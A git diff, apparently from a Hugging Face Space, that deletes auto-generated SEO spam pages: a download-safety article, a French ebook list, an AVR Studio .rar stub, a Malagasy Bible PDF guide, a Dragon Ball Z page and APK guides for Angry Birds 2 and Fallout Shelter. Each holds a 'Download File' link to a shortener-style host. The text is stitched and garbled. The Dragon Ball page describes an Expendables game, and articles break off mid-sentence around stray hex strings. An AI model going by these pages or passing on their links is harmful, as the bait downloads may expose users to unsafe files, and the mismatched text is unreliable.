|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Dont Let Your Downloads Turn into Nightmares How to Protect Yourself from Dangerous Files.md
DELETED
@@ -1,23 +0,0 @@
|
|
1 |
-
|
2 |
-
<h1>Can Downloading a File Be Dangerous? How to Stay Safe Online</h1>
|
3 |
-
<p>Downloading files from the internet is a common activity that millions of people do every day. Whether it's a document, an image, a video, a music file, or a software program, downloading files can help you access information and entertainment. However, downloading files can also be dangerous if you are not careful. You might end up with a virus, malware, spyware, ransomware, or other malicious software that can harm your computer and compromise your privacy.</p>
|
4 |
-
<p>So how can you tell if a file is safe to download? How can you avoid downloading dangerous files that can infect your system? In this article, we will share some tips and tricks on how to check if a file is safe for downloading and how to protect yourself from online threats.</p>
|
5 |
-
<h2>can downloading a file be dangerous</h2><br /><p><b><b>Download File</b> ★★★ <a href="https://byltly.com/2uKv8k">https://byltly.com/2uKv8k</a></b></p><br /><br />
|
6 |
-
<h2>How Can Downloading a File Be Dangerous?</h2>
|
7 |
-
<p>Downloading a file by itself should not be dangerous. All it does is copy a file from an online server to your computer â nothing else. It's not until that downloaded file is opened or run that it has an opportunity to act maliciously. However, some files can be designed to exploit vulnerabilities in your browser, operating system, or software applications and execute malicious code without your consent or knowledge. These files are usually executable files, such as '.exe', '.bat', '.pif', and '.scr'. If you download one of these files and run it, you are potentially opening yourself up to anything on that file.</p>
|
8 |
-
<p>Some examples of dangerous files that can harm your computer are:</p>
|
9 |
-
<p></p>
|
10 |
-
<ul>
|
11 |
-
<li>Viruses: These are programs that can replicate themselves and infect other files on your computer. They can corrupt or delete your data, slow down your system, display unwanted messages, or take over your system resources.</li>
|
12 |
-
<li>Malware: This is a general term for any software that is designed to harm or perform unwanted actions on your computer. Malware can include spyware, adware, trojans, worms, rootkits, keyloggers, and more. Malware can steal your personal information, monitor your online activity, display unwanted ads, redirect your browser, modify your settings, or install other malicious software.</li>
|
13 |
-
<li>Spyware: This is a type of malware that can secretly collect your personal information, such as passwords, credit card numbers, browsing history, or keystrokes. Spyware can send this information to third parties without your consent or knowledge. Spyware can also change your browser settings, display pop-up ads, or redirect your searches.</li>
|
14 |
-
<li>Ransomware: This is a type of malware that can encrypt your files and demand a ransom for their decryption. Ransomware can lock you out of your computer or prevent you from accessing your important data. Ransomware can also threaten to delete your files or expose them to the public if you don't pay the ransom.</li>
|
15 |
-
</ul>
|
16 |
-
<p>These are just some of the examples of dangerous files that can be downloaded from the internet. There are many other types of malicious software that can pose a threat to your computer and privacy. Therefore, it is important to be cautious and vigilant when downloading files online.</p>
|
17 |
-
<h2>How to Check if a File Is Safe for Downloading</h2>
|
18 |
-
<p>There is no foolproof way to guarantee that a file is safe for downloading. However, there are some steps you can take to reduce the risk of downloading dangerous files and protect yourself from online threats. Here are some tips on how to check if a file is safe for downloading:</p>
|
19 |
-
<ul>
|
20 |
-
<li>Assess what you're downloading: Before you download anything from the internet, ask yourself what you're downloading and why you need it. Are you downloading something legal and legitimate? Or are you downloading something illegal or suspicious? If you're downloading something from an unknown source or for an unclear purpose, it's probably dangerous. Avoid downloading files that are too good to be true, such as cracked software, pirated content, or free offers.</li>
|
21 |
-
<li>Look over the site: The website where you download the file can give you some clues about its safety and reliability. Is the site reputable and trustworthy? Or is it shady and unprofessional? If the site looks suspicious or has poor design, grammar, or spelling errors, it's likely that the site is not secure and may contain malicious files. Also check the URL of the site and make sure it starts with https:// and has</p> ddb901b051<br />
|
22 |
-
<br />
|
23 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1acneusushi/gradio-2dmoleculeeditor/data/Ebooks Tu00e9lu00e9chargu00e9s Tendances C1 C2 -.md
DELETED
@@ -1,35 +0,0 @@
|
|
1 |
-
|
2 |
-
<h1>Les Ebooks Téléchargés Tendances C1 C2 - Quels sont les livres numériques les plus populaires en 2023?</h1>
|
3 |
-
|
4 |
-
<p>Les ebooks sont devenus un moyen incontournable de lire et de se cultiver. Avec la démocratisation des liseuses, des tablettes et des smartphones, il est facile d'accéder à des milliers de titres en quelques clics. Mais quels sont les ebooks les plus téléchargés et les plus appréciés par les lecteurs en 2023? Voici un aperçu des tendances C1 C2, c'est-à -dire des livres numériques adaptés aux niveaux avancés de langue française.</p>
|
5 |
-
|
6 |
-
<h2>Les romans historiques</h2>
|
7 |
-
|
8 |
-
<p>Les romans historiques sont toujours très prisés par les amateurs d'ebooks. Ils permettent de voyager dans le temps et de découvrir des époques fascinantes, tout en suivant les aventures de personnages attachants. Parmi les ebooks téléchargés tendances C1 C2, on peut citer :</p>
|
9 |
-
<h2>Ebooks T\\u00e9l\\u00e9charg\\u00e9s Tendances C1 C2 -</h2><br /><p><b><b>Download File</b> 🆗 <a href="https://byltly.com/2uKyf6">https://byltly.com/2uKyf6</a></b></p><br /><br />
|
10 |
-
|
11 |
-
<ul>
|
12 |
-
<li><em>La Reine Margot</em> d'Alexandre Dumas : un classique de la littérature française, qui raconte les intrigues politiques et amoureuses à la cour de France au XVIe siècle, sur fond de guerres de religion.</li>
|
13 |
-
<li><em>L'Empire des anges</em> de Bernard Werber : un roman fantastique qui suit le destin de quatre personnages morts dans un accident d'avion, et qui deviennent des anges gardiens chargés de protéger des humains.</li>
|
14 |
-
<li><em>La Passe-miroir</em> de Christelle Dabos : une saga fantasy qui plonge le lecteur dans un univers où le monde a été brisé en arches, et où certains individus possèdent des pouvoirs magiques.</li>
|
15 |
-
</ul>
|
16 |
-
|
17 |
-
<h2>Les thrillers</h2>
|
18 |
-
|
19 |
-
<p>Les thrillers sont également très appréciés par les lecteurs d'ebooks. Ils offrent du suspense, du mystère et de l'action, tout en abordant des thèmes actuels et parfois controversés. Parmi les ebooks téléchargés tendances C1 C2, on peut citer :</p>
|
20 |
-
|
21 |
-
<ul>
|
22 |
-
<li><em>La Fille du train</em> de Paula Hawkins : un best-seller international, qui suit l'enquête d'une femme alcoolique et dépressive, qui croit avoir été témoin d'un meurtre depuis la fenêtre d'un train.</li>
|
23 |
-
<li><em>Le Syndrome E</em> de Franck Thilliez : un polar haletant, qui met en scène un commissaire et une inspectrice confrontés à une série de crimes liés à une mystérieuse vidéo qui rend aveugle.</li>
|
24 |
-
<li><em>La Vérité sur l'affaire Harry Quebert</em> de Joël Dicker : un roman à succès, qui narre l'histoire d'un écrivain accusé du meurtre d'une jeune fille disparue trente ans plus tôt, et qui tente de prouver son innocence avec l'aide d'un ancien élève.</li>
|
25 |
-
</ul>
|
26 |
-
|
27 |
-
<h2>Les essais</h2>
|
28 |
-
|
29 |
-
<p>Les essais sont aussi très demandés par les lecteurs d'ebooks. Ils permettent de se former, de s'informer et de réfléchir sur des sujets variés et souvent d'actualité. Parmi les ebooks téléchargés tendances C1 C2, on peut citer :</p>
|
30 |
-
|
31 |
-
<ul>
|
32 |
-
<li><em>Sapiens : Une brève histoire de l'humanité</em> de Yuval Noah Harari : un ouvrage passionnant, qui retrace l'évolution de l'espèce humaine depuis ses origines jusqu'à nos jours, en mettant en lumière les facteurs qui ont façonné notre civilisation.</li>
|
33 |
-
<li><em>L'Art de la guerre</em> de Sun Tzu : un traité millénaire, qui expose les principes fondamentaux de la stratégie militaire, mais aussi politique et économique, et qui inspire encore aujourd'hui de</p> 7b8c122e87<br />
|
34 |
-
<br />
|
35 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1gistliPinn/ChatGPT4/Examples/Atmel AVR Studio 5.1 .rar.md
DELETED
@@ -1,6 +0,0 @@
|
|
1 |
-
<h2>Atmel AVR Studio 5.1 .rar</h2><br /><p><b><b>Download</b> ►►► <a href="https://imgfil.com/2uy0aM">https://imgfil.com/2uy0aM</a></b></p><br /><br />
|
2 |
-
<br />
|
3 |
-
If you like to use nice GUI IDE you can download Atmel AVR Studio 4.19 for free. ... When I replaced this library (version 5.1.2600.7494, size 546816 B) by older ... 1fdad05405<br />
|
4 |
-
<br />
|
5 |
-
<br />
|
6 |
-
<p></p>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1gistliPinn/ChatGPT4/Examples/BaibolySyFihiranapdf.md
DELETED
@@ -1,52 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>What is Baiboly Sy Fihirana pdf and How to Use It?</h1>
|
3 |
-
|
4 |
-
<p>Baiboly Sy Fihirana pdf is a file format that contains the Malagasy Bible and Hymns in a single document. It is a useful resource for Malagasy speakers (Madagascar) all around the world who want to read and sing the Word of God in their native language.</p>
|
5 |
-
<h2>BaibolySyFihiranapdf</h2><br /><p><b><b>Download</b> ⇒ <a href="https://imgfil.com/2uxZUx">https://imgfil.com/2uxZUx</a></b></p><br /><br />
|
6 |
-
|
7 |
-
<p>In this article, we will explain what Baiboly Sy Fihirana pdf is, how to get it, and how to use it.</p>
|
8 |
-
|
9 |
-
<h2>What is Baiboly Sy Fihirana pdf?</h2>
|
10 |
-
|
11 |
-
<p>Baiboly Sy Fihirana pdf is a file format that combines two important elements of the Protestant faith in Malagasy: the Baiboly and the Fihirana.</p>
|
12 |
-
|
13 |
-
<p>The Baiboly is the Malagasy translation of the Bible, which is the sacred scripture of Christianity. It contains 66 books divided into two sections: the Old Testament and the New Testament. The Baiboly was first translated into Malagasy by British missionaries in the 19th century and has been revised several times since then.</p>
|
14 |
-
<p></p>
|
15 |
-
|
16 |
-
<p>The Fihirana is the collection of hymns or songs of praise that are sung during worship services or personal devotions. The Fihirana contains hundreds of hymns composed by various authors, some of them based on biblical passages or themes. The Fihirana was also introduced by British missionaries and has been enriched by local contributions over the years.</p>
|
17 |
-
|
18 |
-
<p>Baiboly Sy Fihirana pdf is a file format that allows you to access both the Baiboly and the Fihirana in a single document. You can read the Bible verses and the hymn lyrics in Malagasy, as well as listen to the audio recordings of some hymns. You can also search for specific words or phrases, bookmark your favorite verses or hymns, and share them with others.</p>
|
19 |
-
|
20 |
-
<h2>How to get Baiboly Sy Fihirana pdf?</h2>
|
21 |
-
|
22 |
-
<p>There are different ways to get Baiboly Sy Fihirana pdf, depending on your device and preference. Here are some of them:</p>
|
23 |
-
|
24 |
-
<ul>
|
25 |
-
<li>You can download Baiboly Sy Fihirana pdf from various websites that offer it for free. For example, you can visit <a href="https://www.fiadanana.com/baiboly-fihirana-protestanta/">https://www.fiadanana.com/baiboly-fihirana-protestanta/</a> and click on the "Download" button to get the file.</li>
|
26 |
-
<li>You can also download Baiboly Sy Fihirana pdf from various apps that offer it for free. For example, you can download Baiboly & Fihirana Protestanta app from Google Play Store or App Store and install it on your Android or iOS device. The app contains the Baiboly Sy Fihirana pdf file as well as other features such as daily reading plans, Bible dictionary, and more.</li>
|
27 |
-
<li>You can also create your own Baiboly Sy Fihirana pdf by using online tools that allow you to merge PDF files. For example, you can visit <a href="https://www.ilovepdf.com/merge_pdf">https://www.ilovepdf.com/merge_pdf</a> and upload two PDF files: one containing the Baiboly and one containing the Fihirana. Then you can click on "Merge PDF" and download the resulting file.</li>
|
28 |
-
</ul>
|
29 |
-
|
30 |
-
<h2>How to use Baiboly Sy Fihirana pdf?</h2>
|
31 |
-
|
32 |
-
<p>Once you have Baiboly Sy Fihirana pdf on your device, you can use it for various purposes such as:</p>
|
33 |
-
|
34 |
-
<ul>
|
35 |
-
<li>Reading and studying the Bible in Malagasy. You can browse through the books, chapters, and verses of the Bible and read them in your native language. You can also compare different translations or versions of the Bible if you have them.</li>
|
36 |
-
<li>Singing and listening to hymns in Malagasy. You can browse through the hymns by number or title and read their lyrics in your native language. You can also listen to some hymns that have audio recordings available.</li>
|
37 |
-
<li>Following daily reading plans in Malagasy. You can follow a plan that guides you through reading a portion of the Bible and a hymn every day. You can also choose from different plans that suit your preference or need.</li>
|
38 |
-
<li>Searching for specific words or phrases in Malagasy. You can use the search function to find any word or phrase that appears in the Baiboly or the Fihirana. You can also filter your search results by book, chapter, verse, or hymn.</li>
|
39 |
-
<li>Bookmarking your favorite verses or hymns in Malagasy. You can use the bookmark function to save any verse or hymn that you like or want to remember. You can also access your bookmarks anytime and share them with others.</li>
|
40 |
-
</ul>
|
41 |
-
|
42 |
-
<h2>Conclusion</h2>
|
43 |
-
|
44 |
-
<p>Baiboly Sy Fihirana pdf is a file format that contains the Malagasy Bible and Hymns in a single document. It is a valuable resource for Malagasy speakers (Madagascar) all around the world who want to read and sing the Word of God in their native language.</p>
|
45 |
-
|
46 |
-
<p>If you want to get Baiboly Sy Fihirana pdf, you can download it from various websites or apps that offer it for free, or create your own by merging PDF files online.</p>
|
47 |
-
|
48 |
-
<p>If you want to use Baiboly Sy Fihirana pdf, you can use it for various purposes such as reading and studying the Bible, singing and listening to hymns, following daily reading plans, searching for specific words or phrases, bookmarking your favorite verses or hymns, and sharing them with others.</p>
|
49 |
-
|
50 |
-
<p>Baiboly Sy Fihirana pdf is a great way to connect with God and His Word in your native language. Download it today and enjoy it!</p> 3cee63e6c2<br />
|
51 |
-
<br />
|
52 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1gistliPinn/ChatGPT4/Examples/Dragon Ball Z Movie 5 Coolers Revenge Download Watch Goku Fight Friezas Brother.md
DELETED
@@ -1,5 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<p>Building on the universe created in the high-octane, star-studded movies, The Expendables 2 Videogame invites gamers on an adventure to rescue an extremely valuable, kidnapped billionaire. It's all business, until all hell breaks loose and the explosive mix of testosterone and kerosene detonates in a massive fireball that never lets up. The adventure concludes right where the new movie begins, creating a continuous story experience for fans of the Expendables' hard-boiled brand of action.</p>
|
3 |
-
<h2>dragon ball z movie 5 coolers revenge download</h2><br /><p><b><b>Download Zip</b> ⚙⚙⚙ <a href="https://imgfil.com/2uy1UQ">https://imgfil.com/2uy1UQ</a></b></p><br /><br /> aaccfb2cb3<br />
|
4 |
-
<br />
|
5 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1phancelerku/anime-remove-background/Angry Birds 2 APK - Play the Latest Version of the Classic Game.md
DELETED
@@ -1,120 +0,0 @@
|
|
1 |
-
<br />
|
2 |
-
<h1>How to Download and Play Angry Birds 2 Latest Version APK on Android</h1>
|
3 |
-
<p>Angry Birds 2 is one of the most popular puzzle games in the world, with over 100 million downloads on Google Play. It is the sequel to the original Angry Birds game, which was released in 2009 and became a global phenomenon. In Angry Birds 2, you can join hundreds of millions of players for free and start a fun slingshot adventure. You can team up with your friends, climb the leaderboards, gather in clans, collect hats, take on challenges, and play fun events in all-new game modes. You can also evolve your team and show your skills in this exciting game.</p>
|
4 |
-
<h2>angry birds 2 latest version apk download</h2><br /><p><b><b>Download File</b> · <a href="https://jinyurl.com/2uNSPY">https://jinyurl.com/2uNSPY</a></b></p><br /><br />
|
5 |
-
<p>Angry Birds 2 has been updated regularly with new features and improvements since its launch in 2015. The latest version of the game, which was released in June 2023, is version 3.13.0. It includes new events, new hats, new spells, new levels, bug fixes, and performance enhancements. If you want to enjoy the latest version of Angry Birds 2 on your Android device, you need to download and install the APK file from a reliable source. In this article, we will show you how to do that step by step. We will also give you some tips and tricks on how to play Angry Birds 2 latest version APK like a pro.</p>
|
6 |
-
<h2>How to Download Angry Birds 2 Latest Version APK</h2>
|
7 |
-
<p>An APK file is an Android Package file that contains all the necessary files and data for an app to run on an Android device. You can download an APK file from various websites that offer free or paid apps for Android users. However, not all APK files are safe and compatible with your device. Some may contain viruses or malware that can harm your device or steal your personal information. Some may also be outdated or incompatible with your device's operating system or hardware specifications.</p>
|
8 |
-
<p>Therefore, before you download an APK file, you need to check its source, size, version, permissions, reviews, and ratings. You also need to enable unknown sources on your device settings so that you can install apps from sources other than Google Play. To do that, go to Settings > Security > Unknown Sources and toggle it on.</p>
|
9 |
-
<p>One of the best websites where you can find and download Angry Birds 2 latest version APK is [APKCombo](^4^). This website offers free and safe APK downloads for various Android apps and games. You can also find older versions of apps if you want to downgrade or try a different version. To download Angry Birds 2 latest version APK from APKCombo, follow these steps:</p>
|
10 |
-
<ol>
|
11 |
-
<li>Go to [APKCombo](^4^) on your browser.</li>
|
12 |
-
<li>Type "Angry Birds 2" in the search box and hit enter.</li>
|
13 |
-
<li>Select "Angry Birds 2" from the list of results.</li>
|
14 |
-
<li>Scroll down and click on "Download APK (262 MB)" under "Latest Version".</li <li>Wait for the download to finish and locate the APK file on your device storage.</li>
|
15 |
-
<li>Tap on the APK file and follow the instructions to install it on your device.</li>
|
16 |
-
</ol>
|
17 |
-
<p>Congratulations, you have successfully downloaded and installed Angry Birds 2 latest version APK on your Android device. You can now launch the game and enjoy the new features and improvements.</p>
|
18 |
-
<h2>How to Update Angry Birds 2 to the Latest Version</h2>
|
19 |
-
<p>If you already have Angry Birds 2 installed on your device, you can update it to the latest version by following these steps:</p>
|
20 |
-
<p>angry birds 2 game free download for android apk<br />
|
21 |
-
angry birds 2 mod apk unlimited gems and black pearls<br />
|
22 |
-
angry birds 2 update download apk<br />
|
23 |
-
angry birds 2 offline apk download<br />
|
24 |
-
angry birds 2 hack apk download android<br />
|
25 |
-
angry birds 2 apk download for pc<br />
|
26 |
-
angry birds 2 apk obb download<br />
|
27 |
-
angry birds 2 apk file download<br />
|
28 |
-
angry birds 2 apk mirror download<br />
|
29 |
-
angry birds 2 apk pure download<br />
|
30 |
-
angry birds 2 latest version mod apk download<br />
|
31 |
-
angry birds 2 latest version offline apk download<br />
|
32 |
-
angry birds 2 latest version hack apk download<br />
|
33 |
-
angry birds 2 latest version apk free download<br />
|
34 |
-
angry birds 2 latest version apk data download<br />
|
35 |
-
angry birds 2 latest version apk obb download<br />
|
36 |
-
angry birds 2 latest version apk file download<br />
|
37 |
-
angry birds 2 latest version apk mirror download<br />
|
38 |
-
angry birds 2 latest version apk pure download<br />
|
39 |
-
angry birds 2 latest version apk combo download<br />
|
40 |
-
angry birds 2 latest version apk filehippo download<br />
|
41 |
-
angry birds 2 new version apk download<br />
|
42 |
-
angry birds 2 new version mod apk download<br />
|
43 |
-
angry birds 2 new version offline apk download<br />
|
44 |
-
angry birds 2 new version hack apk download<br />
|
45 |
-
angry birds 2 new version apk free download<br />
|
46 |
-
angry birds 2 new version apk data download<br />
|
47 |
-
angry birds 2 new version apk obb download<br />
|
48 |
-
angry birds 2 new version apk file download<br />
|
49 |
-
angry birds 2 new version apk mirror download<br />
|
50 |
-
angry birds 2 new version apk pure download<br />
|
51 |
-
angry birds 2 new version apk combo download<br />
|
52 |
-
angry birds 2 new version apk filehippo download<br />
|
53 |
-
how to download angry birds 2 latest version apk<br />
|
54 |
-
how to install angry birds 2 latest version apk<br />
|
55 |
-
how to update angry birds 2 latest version apk<br />
|
56 |
-
how to play angry birds 2 latest version apk offline<br />
|
57 |
-
how to hack angry birds 2 latest version apk<br />
|
58 |
-
how to get unlimited gems in angry birds 2 latest version apk<br />
|
59 |
-
how to get black pearls in angry birds 2 latest version apk<br />
|
60 |
-
where to download angry birds 2 latest version apk<br />
|
61 |
-
where to find angry birds 2 latest version apk obb file<br />
|
62 |
-
where to get angry birds 2 latest version mod apk<br />
|
63 |
-
where to get angry birds 2 latest version hack apk<br />
|
64 |
-
where to get angry birds 2 latest version offline apk</p>
|
65 |
-
<ol>
|
66 |
-
<li>Go to Google Play Store on your device.</li>
|
67 |
-
<li>Tap on the menu icon (three horizontal lines) on the top left corner.</li>
|
68 |
-
<li>Tap on "My apps & games".</li>
|
69 |
-
<li>Find "Angry Birds 2" from the list of apps and tap on "Update".</li>
|
70 |
-
<li>Wait for the update to finish and launch the game.</li>
|
71 |
-
</ol>
|
72 |
-
<p>You can also enable auto-update for Angry Birds 2 so that you don't have to manually update it every time a new version is released. To do that, go to Google Play Store > Angry Birds 2 > Menu (three vertical dots) > Enable auto-update.</p>
|
73 |
-
<h2>How to Play Angry Birds 2 Latest Version APK</h2>
|
74 |
-
<p>Angry Birds 2 is a fun and addictive game that challenges your skills and strategy. The game has hundreds of levels that you can play in different modes, such as campaign, daily challenge, tower of fortune, mighty eagle's bootcamp, and more. You can also join a clan and compete with other players in the arena for rewards and glory. Here are some basic tips on how to play Angry Birds 2 latest version APK:</p>
|
75 |
-
<h3>How to Choose Your Bird and Use Spells</h3>
|
76 |
-
<p>In Angry Birds 2, you can choose which bird to fling next from a deck of cards. Each bird has a special ability that you can activate by tapping on the screen while they are in mid-air. For example, Red can knock down structures with a powerful scream, Chuck can speed up and slice through obstacles, Bomb can explode and cause massive damage, and so on. You can also use spells to boost your birds or sabotage the pigs. Spells are cards that you can collect or buy with gems. Some of the spells are golden duck, which unleashes a flock of explosive ducks, chili pepper, which sets a random pig on fire, pig inflator, which inflates all the pigs and makes them pop, and more. You can use up to three spells per level.</p>
|
77 |
-
<h3>How to Complete Levels and Challenges</h3>
|
78 |
-
<p>To complete a level in Angry Birds 2, you need to destroy all the pigs and their structures with the birds and spells you have. You also need to collect stars by scoring high points. The more stars you collect, the more rewards you get. You can also earn feathers by destroying objects with style. Feathers can be used to level up your birds and hats. Some levels have multiple stages that you need to clear with the same deck of cards. If you run out of cards or lives, you can either watch an ad, spend gems, or ask your friends for help.</p>
|
79 |
-
<p>Besides the regular levels, you can also play various challenges in Angry Birds 2. These include daily challenge, which gives you a random level with a specific bird or spell every day, tower of fortune, which lets you climb a tower of levels with increasing difficulty and rewards, mighty eagle's bootcamp, which trains you with different tasks and objectives every week, and more. You can earn coins, gems, tickets, chests, hats, and other prizes by completing these challenges.</p> <h3>How to Join a Clan and Compete in the Arena</h3>
|
80 |
-
<p>A clan is a group of players who can chat, share tips, and help each other in Angry Birds 2. You can join an existing clan or create your own clan with your friends. By joining a clan, you can access the clan chat, the clan leaderboards, the clan quests, and the clan gifts. Clan quests are special missions that you can complete with your clan members to earn rewards. Clan gifts are chests that you can send or receive from your clan members every day.</p>
|
81 |
-
<p>The arena is a competitive mode where you can challenge other players from around the world in real-time. You can enter the arena by using tickets, which you can earn or buy with gems. In the arena, you can choose from three random levels and try to score higher than your opponent. You can also use spells to boost your score or hinder your opponent. The more you win, the higher you climb the arena leaderboards and the more rewards you get. You can also earn trophies by winning in the arena, which can unlock new leagues and hats.</p>
|
82 |
-
<h2>Tips and Tricks for Angry Birds 2 Latest Version APK</h2>
|
83 |
-
<p>Angry Birds 2 is a game that requires skill, strategy, and luck. Here are some tips and tricks that can help you improve your game and have more fun:</p>
|
84 |
-
<h3>How to Level Up Your Birds and Hats</h3>
|
85 |
-
<p>Your birds and hats are your main assets in Angry Birds 2. The higher their level, the more powerful they are. You can level up your birds by using feathers, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can level up your hats by using black pearls, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can also unlock new hats by collecting hat sets, which you can find in chests or buy with gems.</p>
|
86 |
-
<h3>How to Earn Coins and Gems</h3>
|
87 |
-
<p>Coins and gems are the main currencies in Angry Birds 2. You can use them to buy spells, chests, tickets, lives, and other items. You can earn coins by playing levels, completing challenges, opening chests, watching ads, or buying with gems. You can earn gems by playing levels, completing challenges, opening chests, watching ads, or buying with real money.</p>
|
88 |
-
<h3>How to Use Mighty Eagle and Hatchlings</h3>
|
89 |
-
<p>Mighty Eagle is a powerful ally that can help you clear any level in Angry Birds 2. You can use Mighty Eagle by filling up the destruction meter at the top of the screen. To fill up the meter, you need to destroy as many objects as possible with your birds and spells. Once the meter is full, you can tap on it and summon Mighty Eagle to swoop down and destroy everything on the screen. You can use Mighty Eagle once per level.</p>
|
90 |
-
<p>Hatchlings are cute baby birds that you can hatch and collect in Angry Birds 2. You can find hatchlings in eggs, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. You can also get eggs from your friends or send eggs to your friends. To hatch an egg, you need to tap on it and wait for a few seconds. Once hatched, you can name your hatchling and add it to your collection. You can also feed your hatchlings with apples, which you can earn by playing levels, completing challenges, opening chests, or buying with gems. Feeding your hatchlings will make them happy and give you rewards.</p>
|
91 |
-
<h2>Conclusion</h2>
|
92 |
-
<p>Angry Birds 2 is a fun and addictive game that you can play for free on your Android device. It has amazing graphics, sound effects, animations, and gameplay that will keep you entertained for hours. It also has new features and improvements that make it more exciting and challenging than ever before. If you want to download and play Angry Birds 2 latest version APK on your Android device, you just need to follow the steps we have shown you in this article. You can also use our tips and tricks to improve your game and have more fun.</p>
|
93 |
-
<p>We hope you enjoyed this article and learned something new about Angry Birds 2 latest version APK. If you did, please share it with your friends and family who might be interested in this game as well. Also, don't forget to leave us a comment below and tell us what you think about Angry Birds 2 latest version APK. Have you tried it yet? What do you like or dislike about it? Do you have any questions or suggestions for us? We would love to hear from you!</p>
|
94 |
-
<h2>FAQs</h2>
|
95 |
-
<h4>What are the minimum requirements for Angry Birds 2 Latest Version APK?</h4>
|
96 |
-
<p>To play Angry Birds 2 latest version APK, you need to have an Android device that runs on Android 5.0 or higher, has at least 1 GB of RAM, and has at least 500 MB of free storage space. You also need to have a stable internet connection to play the game online.</p>
|
97 |
-
<h4>Is Angry Birds 2 Latest Version APK free to play?</h4>
|
98 |
-
<p>Yes, Angry Birds 2 latest version APK is free to play, but it contains in-app purchases that can enhance your gaming experience. You can buy gems, coins, spells, chests, tickets, lives, and other items with real money. However, you can also earn these items by playing the game, completing challenges, opening chests, watching ads, or getting them from your friends or clan members. You can also disable in-app purchases by going to your device settings and turning off the option.</p>
|
99 |
-
<h4>How can I contact the developer of Angry Birds 2 Latest Version APK?</h4>
|
100 |
-
<p>If you have any questions, feedback, suggestions, or issues regarding Angry Birds 2 latest version APK, you can contact the developer by using one of the following methods:</p>
|
101 |
-
<ul>
|
102 |
-
<li>Email: [email protected]</li>
|
103 |
-
<li>Website: https://www.rovio.com/games/angry-birds-2</li>
|
104 |
-
<li>Facebook: https://www.facebook.com/angrybirds</li>
|
105 |
-
<li>Twitter: https://twitter.com/AngryBirds</li>
|
106 |
-
<li>YouTube: https://www.youtube.com/user/RovioMobile</li>
|
107 |
-
</ul>
|
108 |
-
<p>The developer is Rovio Entertainment Corporation, a Finnish company that is best known for creating the Angry Birds franchise. The company was founded in 2003 and has since released several games, movies, books, merchandise, and other media related to Angry Birds.</p>
|
109 |
-
<h4>Can I play Angry Birds 2 Latest Version APK offline?</h4>
|
110 |
-
<p>No, you cannot play Angry Birds 2 latest version APK offline. You need to have an internet connection to access all the features and content of the game. You also need to have an internet connection to save your progress and sync it across your devices. However, you can play some levels offline if you have already downloaded them before. To do that, go to Settings > Offline Mode and toggle it on.</p>
|
111 |
-
<h4>Can I transfer my progress from Angry Birds 2 to Angry Birds 2 Latest Version APK?</h4>
|
112 |
-
<p>Yes, you can transfer your progress from Angry Birds 2 to Angry Birds 2 latest version APK if you have connected your game account to Facebook or Google Play Games. To do that, follow these steps:</p>
|
113 |
-
<ol>
|
114 |
-
<li>Launch Angry Birds 2 on your old device and make sure it is connected to Facebook or Google Play Games.</li>
|
115 |
-
<li>Launch Angry Birds 2 latest version APK on your new device and tap on "Connect" on the main screen.</li>
|
116 |
-
<li>Select Facebook or Google Play Games and log in with the same account that you used on your old device.</li>
|
117 |
-
<li>Wait for the game to sync your progress and enjoy playing on your new device.</li>
|
118 |
-
</ol></p> 197e85843d<br />
|
119 |
-
<br />
|
120 |
-
<br />
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
spaces/1phancelerku/anime-remove-background/Build Your Dream Vault with Fallout Shelter APK for Android.md
DELETED
@@ -1,121 +0,0 @@
|
|
1 |
-
|
2 |
-
<h1>Download Fallout Shelter APK: How to Play the Best Mobile Game of 2015 on Your Android Device</h1>
|
3 |
-
<p>Do you love simulation games that let you create and manage your own world? Do you enjoy post-apocalyptic scenarios that challenge your survival skills? Do you want to experience one of the most popular and acclaimed mobile games of all time? If you answered yes to any of these questions, then you should download Fallout Shelter APK and start playing it on your Android device today.</p>
|
4 |
-
